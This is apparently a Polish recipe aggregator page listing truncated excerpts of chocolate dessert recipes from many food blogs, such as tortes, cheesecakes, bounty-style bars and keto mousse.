Mania Wypiekania
Makowiec japoński. 257

połączenia. Tak przygotowane ciasto przekładamy na wyłożoną papierem do pieczenia formę i pieczemy w nagrzanym do temperatury 180°C piekarniku około 55-60 minut. POLEWA CZEKOLADOWA: 150 g gorzkiej czekolady 50-60 ml śmietanki 30%      Połamaną w kostki czekoladę zalewamy śmietanką i podgrzewamy do rozpuszczenia czekolady w kąpieli wodnej lub mikrofalówce, dekorujemy zimne ciasto. Gotowe

Rozpustne gotowanie
JAGLANE BOUNTY (BEZ PIECZENIA) 512

już wszyscy wiemy kasza jest bardzo zdrowa i świetnie nadaje się nie tylko jako składnik do obiadu ale także deseru. Smak kokosa idealnie komponuje się z kaszą i czekoladą.  Idealne dla fit "człowieczków" :D w sumie dla wszystkich :) ~~SKŁADNIKI~~ kasza jaglana 2 torebki ( 1 szklanka ) miód 3 łyżki lub inny słodki zamiennik wiórki kokosowe 15 łyżek mleko(...)szklanki jogurt naturalny 180 g. czekolada gorzka 100 g. herbatniki pełnoziarniste kilka sztuk ok. 10-11 szt. do wyłożenia formy wiórki kokosowe do posypania żelatyna 2 łyżki + zimna woda do pokrycia żelatyny  ~~METODA~~ Kaszę jaglaną dokładnie przepłukać gorącą wodą kilka razy, aby pozbyć się goryczki. W garnku podgrzać mleko i dodać kaszę. Gotować na małym ogniu, co jakiś

Kuchnia Paulettes
Babka marmurkowa 662

łyżeczki proszku do pieczenia szczypta soli 225 g masła 1 szklanka cukru 4 duże jajka ½   łyżeczki ekstraktu z wanilii ½   szklanki mleka 120 g gorzkiej czekolady Wszystkie składniki powinny mieć temperaturę pokojową. Czekoladę pokruszyć, rozpuścić w kąpieli wodnej, wystudzić. Mąkę przesiać z proszkiem, odstawić. Masło z cukrem zmiksować, do otrzymania jasnej, puszystej masy. Stopniowo dodawać jajka, miksując po każdym(...)dodaniu. Dodać wanilie i sól, zmiksować. Na koniec dodać mąkę i mleko, wymieszać rózgą kuchenną. Ciasto podzielić na 2 części. Do jednej dodać czekoladę, wymieszać. Keksówke o wymiarach 11x31 cm, wyłożyć papierem do pieczenia, ciasto wykładać na zmianę, raz ciemne, raz jasne.  Po wyłożeniu przemieszać delikatnie patyczkiem do pieczenia.  Piec w temperaturze 160 stopni przez ok 70 minut

kulinarnyswiatdomi
Tort rafaello z frużeliną truskawkową 190

pieczenia i delikatnie mieszamy. Wykładamy do tortownicy (26 cm) wyłożonej papierem do pieczenia i pieczemy ok. 35 minut w 180 st.C Krem kokosowy: śmietana 30% 300ml x2 2 białe czekolady 250 g serka mascarpone 100 g wiórek kokosowych Śmietanę podgrzewamy do wrzenia, dodajemy pokruszoną białą czekoladę i mieszamy aż się rozpuści. Studzimy i odstawiamy do lodówki na minimum 12 godzin(...)cukrem z wanilią). Rozsmarowujemy połowę frużeliny, a na frużelinę połowę kremu kokosowego. Przykrywamy drugim blatem i znów smarujemy frużeliną i kremem. Dekorujemy dowolnie, ja raz dekorowałam go rozpuszczoną białą czekoladą, a raz masą cukrową

Cynamonowe szczęście
Wilgotny I Szybki Torcik Kakaowy 161

łyżki kakao 1/4 szkl alkoholu ( u mnie nalewka jeżynowa ) 2-3 łyżki powideł lub dżemu ( u mnie dżem porzeczkowy) Na krem 250 gr mascarpone w temp. pokojowej 1 tabliczka czekolady mlecznej bądź deserowej 1. Masło miksujemy z cukrem na puch i dodajemy po jednym jajku cały czas miksując. 2. Dodajemy przesianą mąkę z proszkiem do pieczenia, kakao, powidła i miksujemy(...)przez około 45-50 minut do tzw. suchego patyczka (patyczek wbity w ciasto musi być suchy). ciasto studzimy i przekrawamy na dwie części. 3. Nad kąpielą wodną rozpuszczamy tabliczkę czekolady i odstawiamy do lekkiego przestygnięcia. W wysokim naczyniu miksujemy przez minute mascarpone i dodajemy czekoladę. Miksujemy, sprawdzamy czy jest odpowiednio słodkie (jeśli nie to możemy dodać 1-2 łyżki cukru

Gotowanie...to proste !
Tort orzechowy 139

łyżeczka octu, 1 płaska łyżeczka proszku do pieczenia, Masa orzechowa: 200g zmielonych orzechów włoskich, 200ml mleka, 1 szklanka cukru, 200g masła, Dodatkowo: 100 ml likieru waniliowego, ½ tabliczki gorzkiej czekolady, kwiaty i listki do dekoracji. PRZYGOTOWANIE: 1. Biszkopt: Białka ubijam na sztywną pianę. Nie przerywając ubijania dodaję cukier oraz żółtka. Następnie dodaję mąkę wymieszaną z proszkiem, ocet oraz orzechy. Delikatnie mieszam(...)części. Jeden blat biszkoptu smaruję masą orzechową. Przykrywam drugim blatem. Drugi znów smaruję masą orzechową i przykrywam trzecim ciastem. Pozostałą masą smaruję wierzch i boki tortu oraz dekoruję brzeg. Czekoladę ścieram na tarce. Czekoladą obsypuję boki tortu. Gotowy tort dekoruję kwiatami oraz listkami i wstawiam na godzinę do lodówki

Tradycyjna kuchnia Kasi
Bananowa chmurka 301

pudru Wszystkie składniki przełożyć do miski. Zmiksować do otrzymania gęstego kremu. Krem wykładamy na galaretkę. Czekoladowa beza: 3 białka 150 g cukru 2 łyżeczki mąki ziemniaczanej 60 g gorzkiej czekolady Wszystkie składniki powinny być w temperaturze pokojowej. Czekoladę połamać na mniejsze kawałki i rozpuścić w kąpieli wodnej, wystudzić. Białka ze szczyptą soli ubić na sztywno. Stopniowo dodawać cukier, ubijając(...)najmniejszych obrotach miksera. Następnie dodać mąkę, nadal ubijając. Na koniec dodać roztopioną czekoladę i delikatnie wymieszać drewnianą łyżką (nie mieszać do całkowitego połączenia). Blachę o wymiarach 25x40 cm, wyłożyć papierem do pieczenia. Papier wyjąć, blachę odwrócić do góry dnem, położyć papier, bezę rozsmarować na papierze. Pieczemy w 140 stopniach przez ok 60 minut. Beza powinna być chrupka, lekko popękana. Wystudzić

kulinarnyswiatdomi
Ciasto marchewkowo-zbożowe z polewą czekoladową oraz Inką. 145

zadowala podniebień jak kawałek dobrze wypieczonego, wilgotnego i aromatycznego ciasta z ręki córki czy syna. Polecam na tę okazję ciasto szczególnie   marchewkowo- z bożowe, podkreślone polewą z białej czekolady i podane z filiżaneczką przepysznej Inki wzbogaconej o magnez. Moja mama i mama mojego męża, obie nie piją czarnej kawy, tylko łagodne zbożówki, najlepiej wzbogacone w składniki poprawiające ogólne samopoczucie(...)cynamonu pół łyżeczki proszku do pieczenia płaska łyżeczka sody oczyszczonej łyżka stołowa Inki z magnezem 1,5 szklanki mąki pełnoziarnistej pół szklanki mielonych płatków owsianych polewa: 100 g białej czekolady 100 ml śmietany 30 % Rozpuszczamy w kąpieli wodnej.  Wykonanie: Do misy miksera wbić jajka (całe, z żółtkami) i roztrzepać na jednolitą masę. Dodać cukier, wkręcić go, by się rozpuścił

Poezja Smaków - blog kulinarny
Tort „Owocowy Raj” 415

łyżki soku z cytryny + 1 łyżeczka cukru pudru Dodatkowo: 1 puszka ananasa w plastrach 580ml 2-3 łyżki konfitury malinowej owoce do ozdoby około 50g gorzkiej lub mlecznej czekolady Ciasto kruche: 1. Do mąki dodajemy proszek dopieczenia, przesiewamy cukier puder, mieszamy. Schłodzoną masło zetrzeć na tarce z grubymi oczkami do miski z mąką, podsypując mąką. Dodać żółtko, 1 łyżeczkę śmietany(...)zostanie po wyrównaniu brzegów zrobić rozetki na wierzchu tortu (śmietankę przełożyłam do woreczka z metalową końcówką Wilton M1). Ciasto ozdobić pokrojonym ananasem, malinami, jeżynami i kawałeczkami kiwi. 12. Czekoladę roztopić na parze lub w mikrofalówce, dodać 1/2 łyżeczki oleju kokosowego wymieszać (jeśli nie mamy oleju kokosowego możemy go pominąć). Czekoladą ozdobić brzegi tortu, robiąc cienkie esy-floresy przy pomocy łyżeczki

Mała Cukierenka
Sernik na zimno z truskawkami, mleczkiem kokosowym i białą czekoladą 180

półtłustego 400ml mleczka kokosowego 2/3 szkl cukru pudru 1 łyżeczka pasty waniliowej skórka i sok z 1 pomarańczy skórka i sok z 1 limonki 6 łyżeczek żelatyny 200g białej czekolady 300g truskawek 1 galaretka truskawkowa 1 paczka biszkoptów Wykonanie: Twaróg zmielić, przełożyć do misy miksera, dodać cukier, pastę i gęstą masę mleczka kokosowego. Zmiksować. Następnie zetrzeć skórkę z limonki(...)masy serowej. Sok z limonki i pomarańczy oraz pozostałą wodę kokosową wymieszać z kubeczku, dosypać żelatynę, aby namoczyła się, następnie podgrzać ją do rozpuszczenia, zdjąć z ognia, przestudzić. Czekoladę stopić w kąpieli wodnej. Dodać do masy serowej i krótko zmiksować. Teraz delikatnie należy wlać przestudzoną żelatynę. Zmiksować na najniższych obrotach miksera. Tortownicę (24cm) wyłożyć papierem do pieczenia, na spodzie ciasno

Raj dla Podniebienia
Torcik jagodowo-czekoladowy na zimno 75

niech się wszystko spełnia! Składniki: 200g jagód 100g malin 700g twarogu półtłustego 2 łyżki żelatyny 4 łyżki cukru pudru 100g mlecznej czekolady 1/2 opakowania galaretki owocowej Wykonanie: Małą tortownicę wyłożyć papierem lub folią aluminiową. Spód wyłożyć biszkoptami.Żelatynę zalać niewielką ilością wody, podgrzać, mieszając, aż do jej rozpuszczenia. Czekoladę rozpuścić w kąpieli wodnej. Twaróg zmielić, zmiksować, powoli, partiami dodawać lekko(...)części. Pierwszą część zmiksować ponownie z cukrem pudrem,dodać jagody i garstkę malin. Masę jagodową przełożyć na biszkopty, wyrównać, schłodzić w lodówce. Drugą część masy zmiksować, dodając powoli stopioną czekoladę. Wyłożyć delikatnie na stężałą masę jagodową. Udekorować malinami i jagodami.Galaretkę (pół porcji z opakowania) rozpuścić w 250ml wody, przestudzoną ostrożnie polać torcik.Schłodzić do całkowitego stężenia. /inspiracja blog SmakołykiBereniki

Raj dla Podniebienia
Czekoladowiec pomarańczowo-piernikowy i porządki w kuchni 81

słodkich przepisów! Dziś czekoladowiec z nutą pomarańczy i piernika. Ciasto bardzo esencjonalne, ale delikatne w smaku, wilgotne, bardzo, bardzo czekoladowe. Tylko próbować! Składniki (na tortownicę 23cm): 2 tabliczki dobrej czekolady 70% kakao 2 szklanki mąki 1 łyżeczka sody oczyszczonej 1 łyżeczka cynamonu szczypta gałki muszkatołowej 2 zmielone goździki 1szklanka cukru trzcinowego lub muscovado 2 duże jajka 3 płaskie łyżki kakao(...)starta skórka z pomarańczy 200g masła 2 łyżki śmietany 18% cukier puder (do dekoracji) Wykonanie: Masło roztopić z cukrem i 1 tabliczką czekolady. Masę przestudzić. W misce umieścić mąkę, sodę, cynamon, gałkę, zmielone goździki (zmieliłam w młynku do kawy), kakao. Osobno ubijamy jajka. Do miski delikatnie partiami dodajemy przestudzoną masę czekoladową i jajka. Na sam koniec dodajemy skórkę z pomarańczy

Raj dla Podniebienia
Ciasto dyniowo- pomarańczowe z kardamonem i polewą karmelową 76

pomarańcza + skórka starta 50ml mleka 50ml śmietanki kremowej 100g oleju kokosowego 2 jajka 250g mąki pszennej 2 łyżeczki proszku do pieczenia 1 szklanka cukru 1 budyń waniliowy 1 czekolada karmelowa firmy Wedel 1/2 łyżeczki karadamonu garść płatków migdałowych Wykonanie Dynię upiec lub ugotować, przestudzić, pozbawić skórki i pokroić na kawałki. Z pomarańczy zetrzeć skórkę i wycisnąć sok. Jajka krótko ubić(...)samym końcu dodać otartą skórke pomarańczową i dynię. Całośc lekko wymieszać. Piec jako ciasto w formie keksowej lub w papilotkach na muffinki przez 30-35 minut w 180C. Czekoladę stopić w kąpieli wodnej. Ciasto delikatnie podziurkować z wierzchu widelcem. Ciepłą czekoladą polać obficie ciasto. Na suchej patelni podprażyć płatki migdałowe. Posypać wierzch ciasta. Smacznego

Raj dla Podniebienia
Wegańskie ciasteczka z suszonymi bananami i czekoladą 168

około 30 ciastek: 400 g mąki, z czego 250 to biała pszenna za 150 razowa 1 duży banan 100 g cukru 120 g oleju kokosowego 100 g gorzkiej czekolady łyżeczka proszku do pieczenia łyżeczka sody oczyszczonej szczypta soli 100 g suszonych bananów ( do kupienia np.tu ) 50-100 g suszonej papai ( do kupienia np. tu ) Przygotowanie: Zblenduj na puszystą masę banana(...)cukier i olej. Mąkę, proszek do pieczenia, sól i sodę przesiej i wymieszaj z masą bananową. Dodaj posiekane banany, papaję i czekoladę. Porcję ciasta odmierzaj dużą łyżką, formuj kulki i rozpłaszcz dłonią lub za pomocą obręczy formuj idealnie okrągłe ciastka. Ułóż na blaszce wyłożonej papierem do pieczenia, piecz przez 15 minut w temp. 180 C Smacznego! Artykuł Wegańskie ciasteczka

greenscarf
Bread pudding z czekoladą i orzechami 203

kupuję słodkie pieczywo specjalnie z myślą o tym puddingu, więc musi być ono czerstwe – ale może, a to już czyni ten przepis absolutnie uniwersalnym. Moja wersja wzbogacona została o czekoladę, orzechy i miód. Wspaniała kombinacja, możecie mi wierzyć. Pudding smakuje równie dobrze także z innymi bakaliami lub świeżymi czy mrożonymi owocami jagodowymi – możecie więc poszaleć! Składniki: 250 ml mleka(...)słodkiej śmietanki 30% 3 jajka 1 łyżka ekstraktu waniliowego 2 łyżki cukru 4 grube kromki brioszki (lub chałki) 30 g czekolady mlecznej garść orzechów włoskich 1 łyżka cukru brązowego 1 łyżka miodu Do miski wbić jajka, roztrzepać. Dodać pozostałe składniki, dokładnie wymieszać, najlepiej trzepaczką. Pieczywo pokroić na średniej wielkości kostkę. Wrzucić do formy do zapiekania i zalać równomiernie masą mleczno

Magda Kucharzy
Słoneczne ciasto z brzoskwiniami 163

jajek - 6 łyżek cukru kryształu - 2 łyżeczki cukru waniliowego - 8 łyżek mąki pszennej - 2 łyżki mąki ziemniaczanej - 1 i 1/2 łyżeczki proszku do pieczenia krem - 100 g białej czekolady - 1 szklanka mleka - 3 jajka - 2 łyżki cukru kryształu - 1 łyżka cukru waniliowego - 2 i 1/2 łyżki żelatyny - 1/2 szklanki śmietany kremówki - 2 łyżki cukru pudru - 1 puszka brzoskwiń - 2 opakowania(...)wymiarach 25 cm x 35 cm i pieczemy w 180 C przez około 30 minut. Wystudzone ciasto kroimy na dwie równe części. Krem: mleko zagotowujemy a czekoladę łamiemy na kawałki. Jajka ubijamy z cukrami na parze i nie przerywając ubijania powoli wlewamy mleko. Dodajemy czekoladę i mieszamy do rozpuszczenia. Żelatynę rozpuszczamy w 1/2 szklanki gorącej wody

Zainspirowana w kuchni
Risotto z truskawkami i białą czekoladą 177

zawsze uwielbiałem ryż z truskawkami i śmietaną ale to zawsze było za mało. Więc połączyłem ryż arborio (do risotto) z laską wanilii, masłem, mlekiem bez laktozy i białą czekoladą, na domiar tego wszystkiego z pierwszymi truskawkami tego sezonu, lepiej się chyba nie da odświeżyć przepisu z dzieciństwa[...] Do przygotowania risotto potrzeba nam: 200 g ryżu arborio 300 ml mleka(...)laktozy 1 laska wanilii  pół tabliczki białej czekolady  1 łyżka masła woda, sól 10-15 dużych słodkich truskawek Samo przygotowanie to prostota, ryż wsypcie na patelnie i podlejcie odrobina wody tak aby go przykryć, gotujcie go w ten sposób aż woda nie odparuje, następnie zalejcie go mlekiem i wrzućcie rozciętą w pół laskę wanilii, wszystko trzeba dokładnie mieszać

Kuba Gotuje
Koktajl bananowo-czekoladowy - takie połączenie poprawi Ci nastrój i koncentrację. 103

Składniki : 1 dojrzały banan 5 dkg gorzkiej czekolady 2 szklanki świeżego zimnego mleka 2 łyżki miodu  Sposób wykonania :   B anana obierz, pokrój na kawałki. Wrzuć do blendera, wlej mleko, dodaj miód, zmiksuj do połączenia się składników. Rozlej do szklanek, każdą porcję posyp startą na tarce o dużych oczkach gorzką czekoladą. Podaj od razu po przygotowaniu.  B anany(...)czekolada, to połączenie poprawi ci humor i doda Ci energii.                            Pozdrawiam

Przepisy i porady kulinarne
Batony fit z masłem orzechowym, amarantusem i orzechami 238

pestek słonecznika. Możecie dać również migdały jak i żurawinę czy rodzynki. Drukuj Batony fit z masłem orzechowym, amarantusem i orzechami Składniki 50 g ekspandowanego amarantusa (popping) 80 g gorzkiej czekolady ( u mnie 90%) 50 g oleju kokosowego + 1 łyżka 120 g masła orzechowego 3 łyżki kakao 4 łyżki miodu 200 g orzechów mleko (opcjonalnie) Sposób przygotowania Olej kokosowy rozpuszczamy(...)rondelku. Czekoladę z łyżką oleju rozpuszczamy w kąpieli wodnej. Do miski wrzucamy pozostałe składniki, dodajemy olej i czekoladę. Jeśli masa jest zbyt gęsta, dodajemy 2-3 łyżki mleka. Dokładnie mieszamy. Przekładamy do formy wyłożonej papierem do pieczenia. Masę wyrównujemy i dociskamy. Chłodzimy w lodówce 2-3h. 4.9.1 http://mieszamwgarnku.pl/fit/batony-fit-maslem-orzechowym-amarantusem-orzechami/ MieszamWGarnku Artykuł Batony fit z masłem orzechowym, amarantusem

Mieszam w Garnku
SERNIK STRACIATELLA NA KAKAOWYM SPODZIE 222

chwil i to bez włączania piekarników. A więc do dzieła ! Składniki: 1 kostka do pieczenia Kasia 130 g herbatników masa serowa: 1 kg sera dwukrotnie mielonego 1/2  tabliczki czekolady deserowej  1/2 tabliczki czekolady białej  cukier puder do smaku 4 łyżki żelatyny wierzch: kora czekoladowa Wykonanie: *Kostkę do pieczenia Kasia rozpuszczamy, dodajemy do niej drobno pokruszone herbatniki, mieszamy(...)przyrządzoną masą wylepiamy dno tortownicy o śr. 26 cm. Odstawiamy do lodówki do stężenia. *Czekolady tarkujemy na dużych oczkach, dodajemy je do sera, mieszamy. Żelatynę namaczamy w odrobinie wody, kiedy napęcznieje podgrzewamy, ale nie zagotowujemy. Studzimy. Chłodną żelatynę dodajemy do masy serowej, mieszamy. Wylewamy na spód ciasteczkowy . Wierzch ciasta posypujemy korą czekoladową. Mój sernik przygotowałam dla moich synów. Oni wprost

Z Majeczką w kuchni
Kokosowe kulki Paleo - zdrowy deser bez cukru 171

już koniecznie "musi" mi pomóc. Składniki (na około 25 kulek kokosowych): 2 szklanki wiórek kokosowych 1/3 szklanki roztopionego oleju kokosowego 1 łyżka miodu 50-100 gram gorzkiej czekolady (im większa zawartość kakao tym lepiej- ja użyłam tu czekolady 85%) do polania kulek 1/2 łyżeczki wanilii (opcjonalnie) 2 łyżki śmietany 18% - jeśli ktoś nie jada nabiału można dać śmietanki kokosowej(...)dość gęsta lepić kuleczki wielkości małego orzecha włoskiego i układać w papilotkach. Można zaangażować do tego dzieci :-) schłodzić w lodówce ok 15 minut, po czy polewać każdą kulkę roztopioną czekoladą. Najlepiej robić to małą łyżeczką. Kuleczki przechowujemy w lodówce, najlepiej smakują schłodzone. A tak wyglądają gotowe kuleczki kokosowe Paleo. Zapewniam was że trzeba się powstrzymywać żeby nie zjeść za dużo

Marta próbuje
KETO MUS CZEKOLADOWY (keto, LCHF, paleo, optymalny, bez glutenu, laktozy i cukru) 183

najszybszą wersję więc nie ma opcji żeby komuś się nie udał Składniki na 5 porcji po ok 100g: 400 g śmietanki kokosowej 10 g kakao bez cukru 100 g czekolady min 75% (u mnie 81%)   Czekoladę pokruszyć i roztopić w kąpieli wodnej. Dodać kakao i wymieszać. Następnie lekko ostudzić. Schłodzoną śmietankę kokosową ubić na puszystą masę. Do śmietany dodawać(...)stopniowo czekoladę i delikatnie mieszać tak by powstała jednolita masa. Mus przełożyć do pucharków/kieliszków/szklaneczek i wstawić do lodówki aby stężał. Podawać z bitą śmietaną, owocami (maliny, borówki, truskawki), orzechami, wiórkami kokosowymi, płatkami migdałów itp. Smacznego! — BTW całości (tylko mus bez dodatków): 510 g, 1320 kcal

Ola la LCHF
Ciasto Bounty 261

każdym dodaniu. Dodać likier kokosowy i zmiksować. Kremową masę kokosową przełożyć na wystudzone ciasto, wyrównać i schłodzić w lodówce. Wystudzone ciasto udekorować czekoladową.  Polewa czekoladowa: 50 g mlecznej czekolady 50 g gorzkiej czekolady 75 ml kremówki  W rondelku podgrzać śmietanę kremówkę, prawie do wrzenia, natychmiast zdjąć z ognia. Dodać posiekaną czekoladę, odstawić na 2 minuty. Po tym czasie

Domowa cukiernia Ewy
delikatne ciasto a la raffaello 276

Pieczemy ok. 25 min. w 170 st. C. Po upieczeniu odstawiamy do całkowitego wystudzenia. składniki na krem: 500 ml śmietany kremówki (min. 30 %) 250 g serka mascarpone 100 g czekolady białej 3 łyżki cukru pudru 150 g wiórek kokosowych wykonanie: Czekoladę rozpuszczamy w kąpieli wodnej a następnie odstawiamy do przestudzenia. Serek rozmiksowujemy, dodajemy przestudzoną czekoladę oraz wiórka i miksujemy. Schłodzoną

Domowy Smak Jedzenia
Desery czekoladowo-krówkowe 286

Pyszne desery na bazie bitej śmietany z masą krówkową oraz ziarnami zbóż w czekoladzie. Może są dość kaloryczne ale czasami warto sobie pozwolić na małe co nieco. Składniki: 50 gram ziaren ekspandowanych 50 gram gorzkiej  330 ml. śmietany 36% 0,5 puszki masy krówkowej Sposób przygotowania: Czekoladę rozpuszczamy w kąpieli wodnej, dodajemy ziarna zbóż, dokładnie mieszamy. Schłodzoną śmietanę ubijamy(...)sztywno, ubijając dodajemy po łyżce masy krówkowej. Do masy dodajemy ziarna zbóż w czekoladzie, cześć ziaren odkładamy do dekoracji, mieszamy i przekładamy do pucharków lub szklanek. Wierzch posypujemy odłożonymi ziarnami, desery przed podaniem mocno schładzamy

Bajeczna Kuchnia
CZEKOLADOWA TARTA Z OWOCAMI 117

bezglutenowej (można zrobić ją z płatków owsianych) 1 szklanka płatków owsianych 1/4 szklanki oleju kokosowego 3 łyżki syropu klonowego 1/4 łyżeczki soli morskiej drobnoziarnista Na nadzienie czekoladowe 3 tabliczki czekolady 70% kakao około 400 gramów (w sumie) 2 łyżki miodu 1 łyżeczka ekstraktu waniliowego lub ziarenka z 1 wanilii 1 puszka mleka lub śmietanki kokosowej pełnotłustej wstawionej(...)stopni. Wszystkie składniki na spód dokładnie wymieszać w misce. „Wylepić” nim formę na tartę i wstawić do nagrzanego piekarnika/ Piec około 10­-12 minut. Przygotowanie nadzienia czekoladowego Czekoladę rozpuścić w małym garnuszku, dodać do niej miód i wanilię. Ostudzić. Mleko lub śmietankę kokosową wyjąć z lodówki, gęstą część wyjąć i przełożyć do garnuszka z rozpuszczoną czekoladą. Dokładnie wymieszać łyżką

Mała w garnku miesza
Rolada z kremem . 210

Bardzo prosta i szybka w wykonaniu rolada.Moja jest czekoladowa z kremem na bazie maskarpone i białej czekolady. Pieczemy? Składniki: 4 jajka ,oddzielnie białka i żółtka 4 łyżki cukru 4 łyżki mąki 2 łyżki wody 2 łyżki oleju 2 łyżki kakao lub 3 Najpierw ubijamy białka na sztywną pianę dodając po łyżce cukru.Następnie po jednym żółtku i nadal ubijamy.Teraz olej(...)Zaraz po upieczeniu zwijamy ją ,jeszcze gorącą w rulon ,razem z papierem. Odkładamy na 0,5 godziny. Krem: 100 ml śmietany kremówki 5 łyżek sera mascarpone 100 g białej czekolady,rozpuścić ,przestudzić Śmietanę ubijamy na sztywną pianę,ale nie za długo . Dodajemy po łyżce serek mascarpone i ubijamy do połączenia się masy .Na koniec czekoladę ,mieszamy wszystko razem i rozsmarowujemy

Ladylaura.
Ciasto jogurtowo-karmelowe z brzoskwiniami 169

picia, najlepiej czarnego, towarzystwo i weekend:) Składniki: 5 całych jajek 3/4 szklanki cukru 1 opakowanie cukru z prawdziwą wanilią i nutą kardamonu (20 g, użyłam Kamis) 1 karmelowa czekolada 90 g - użyłam Wedel 3 szklanki mąki 1 szklanka oleju 2 łyżeczki proszku do pieczenia 400 g jogurtu typu grecki, gęsty kilka brzoskwiń z puszki Przygotowanie: Jajka ubijamy(...)rodzajami cukru na puszystą masę (ubijamy ok. 5 minut). Następnie dodajemy olej, przesianą mąkę, proszek do pieczenia oraz jogurt. Wszystko mieszamy dokładnie, dodajemy pokruszoną czekoladę. Ciasto przekładamy do formy wyłożonej papierem do pieczenia, a na wierzch układamy plasterki brzoskwini. Brzoskwinie ze słoika pokroiłam na cztery i powtykałam lekko w ciasto. Pieczemy w piekarniku nagrzanym do 180 stopni przez

Zasmakuj Kuchni
UCIERANE CIASTO CZEKOLADOWE Z OWOCAMI! 173

CIASTO NA WEEKEND UCIERANE CIASTO CZEKOLADOWE Z OWOCAMI! Mamy znowu weekend, to oczywiście czas na słodkości. Czas na słodki wypiek. Proste i szybkie ciasto, z owocami i czekoladą. Bardzo lubię, takie szybkie wypieki, lekkie ciasta na bazie oleju rzepakowego. Bez zbędnych kremów i mas czy bitej śmietany. Ciasto, które smakuje wszystkim, jest lekko wilgotne, nie zsycha się. Pozostaje świeże(...)mąki pszennej babuni - 1 łyżeczka płaska proszku do pieczenia - 1 płaska łyżeczka sody - 135 g cukru pudru - 2 czubate łyżki kakao - 5 łyżek kuleczek czekoladowych ( ewentualnie drobno posiekana czekolada) - 4 duże jajka - 2 szczypty soli - 1 szklanka oleju rzepakowego - 2- 3 łyżki malin - 2 -3 łyżki borówek - łyżka jagód - 2 -4 łyżki jeżyn - łyżka śmietany 18% - 150 g powideł

SMYKWKUCHNI
Biszkoptowe babeczki z bananem. 141

Majowy weekend przeleciał nie wiadomo kiedy... a po nim zostały wspomnienia o biszkoptowych pysznych babeczkach z bananem, oblane czekoladą... pycha! Składniki; 5 jajek 5 łyżek cukru kryształu 5 łyżek mąki pszennej 2 łyżki mąki ziemniaczanej pół łyżeczki proszku do pieczenia 1 banan       Do dekoracji; pół tabliczki mlecznej czekolady 3 łyżki mleka posypka(...)Ciasto przełożyć do foremek Banana pokroić w plastry i powkładać po kilka plasterków do każdej babeczki. Piec w temp. 170 C około 15 min. Sprawdzając co jakiś czas.   Czekoladę wraz z mlekiem rozpuścić i polać zimne babeczki. Udekorować posypką.   Możemy też zrobić w formie muffin ;-)   Smacznego

Radość kipiąca uśmiechem.
domowy kopiec kreta 402

spód. Wydrążone ciasto kruszymy. składniki na masę: 250 g serka mascarpone 330 ml śmietany kremówki 30% 3 łyżki cukru pudru 2/3 łyżki żelatyny 2 łyżki gorącej wody 70 g czekolady deserowej 3 banany sok z cytryny wykonanie: Czekoladę siekamy. Serek mascarpone miksujemy, w osobnym naczyniu ubijamy śmietankę z cukrem pudrem a następnie łączymy ją z mascarpone. Żelatynę rozpuszczamy w wodzie(...)żelatyny dodajemy 2 łyżki kremu, mieszamy i dodajemy do reszty kremu. Całość miksujemy. Dodajemy pokrojoną czekoladę i mieszamy. Banany obieramy ze skórki, przekrawamy wzdłuż i skrapiamy je sokiem z cytryny. wykonanie ciasta: Na wydrążonym spodzie ciasta układamy banany. Wykładamy „kopiato” krem i całość oblepiamy pokruszonym ciastem. Gotowy Kopiec kreta schładzamy w lodówce. Już po 30 min. możemy podawać

Domowy Smak Jedzenia
Bezglutenowy murzynek z dżemem 301

posypywałam bułką tartą. I piekłam w piekarniku nagrzanym do 180 stopni przez 55 minut. Jak ciasto trochę przestygło przygotowałam polewę czekoladową i polałam całość. Polewa czekoladowa: 1,5 tabliczki czekolady - ja zużyłam resztki różnych czekolad, które się poniewierały ale większość to była czekolada gorzka 2 łyżki mleka duża łyżka masła 1-2 łyżki cukru Całość rozpuścić do połączenia składników. Należy

Ze smakiem bez glutenu
MAXI KING 187

łyżeczki żelatyny           200 g orzechów laskowych lub orzechów ziemnych niesolonych           2 mleczne czekolady Wykonanie:                 Białka ubijamy na sztywną pianę. Następnie dodajemy cukier, żółtka, mąkę z proszkiem do pieczenia i olej. Wkładamy do piekarnika nagrzanego wcześniej(...)ostudzoną żelatynę. Całość przekładamy na masę krówkę. Na bitą śmietanę nakładamy drugą część ciasta.                 Czekolady mleczne rozpuszczamy na parze z odrobiną mleka i masła. Jeżeli mamy orzechy laskowe musimy je najpierw uprażyć w piekarniku w temperaturze ok 200 °  jakieś 5-10 minut. Następnie musimy

Słodkie ciacho
Babeczki szpinakowo miętowe 127

małe ilości jego. babeczki: 80 g roztopionego masła 200 g mąki pszennej 1/2 łyżeczki proszku do pieczenia 1 łyżka cukru waniliowego 2 łyżki  kakao szczypta soli 6 kostek czekolady gorzkiej 2 jajka 150 ml mleka 70 g cukru maliny mrożone krem: 200 g serka twarogowego aksamitnego 100 g szpinaku baby 6 gałązek mięty 250 ml śmietany kremówki 1 łyżka(...)mieszam mikserem. Babeczki: Do miski wlewam mleko, dodaję jajka, kakao, sól, roztopione wystudzone masło, cukier i łączę mikserem. Do masy płynnej przesiewam mąkę z proszkiem do pieczenia, dodaję startą czekoladę gorzką i mieszam wszystko mikserem. Ciasto wykładam do papilotek 2/3 wysokości, u mnie wyszło 12 sztuk.Do każdej babeczki dodaję malinę mrożoną. Wstawiam do nagrzanego piekarnika temp 170 stopni góra dół

wesoła kuchnia
Tarta kokosowa a la Bounty (wegańska) - bez cukru, laktozy, glutenu, jajek 152

lodówce przez co najmniej 2 godziny) 4 łyżki syropu z agawy (lub innego "słodzidła") Składniki na czekoladową polewę: 80ml mleka kokosowego (z tego co zostało w puszce) 100g czekolady gorzkiej wiórki lub płatki kokosowe do dekoracji Wykonanie tradycyjne:  Uwaga! Przed przystąpieniem do wykonania przepisu namocz nerkowce (150g) w wodzie - nawet przez kilka godzin, mleko kokosowe włóż do lodówki(...)dodajemy wiórki i mieszamy. Gotową masę wykładamy na spód. Wykonanie polewy: Mleczko kokosowe (tylko 80ml z tego odłożonego wcześniej z puszki) podgrzewamy na palniku. Gdy zacznie wrzeć dodajemy szybko czekoladę połamaną na malutkie kawałeczki. Szybko mieszamy, by otrzymać jednolitą konsystencję. Polewamy ciasto, gdy masą lekko stężeje dekorujemy wiórkami kokosowymi, kawałkami kokosa lub zostawiamy bez dekoracji. Wersja na Thermomix: Uwaga! Przed

Mania Wypiekania
Comber Kakaowy 165

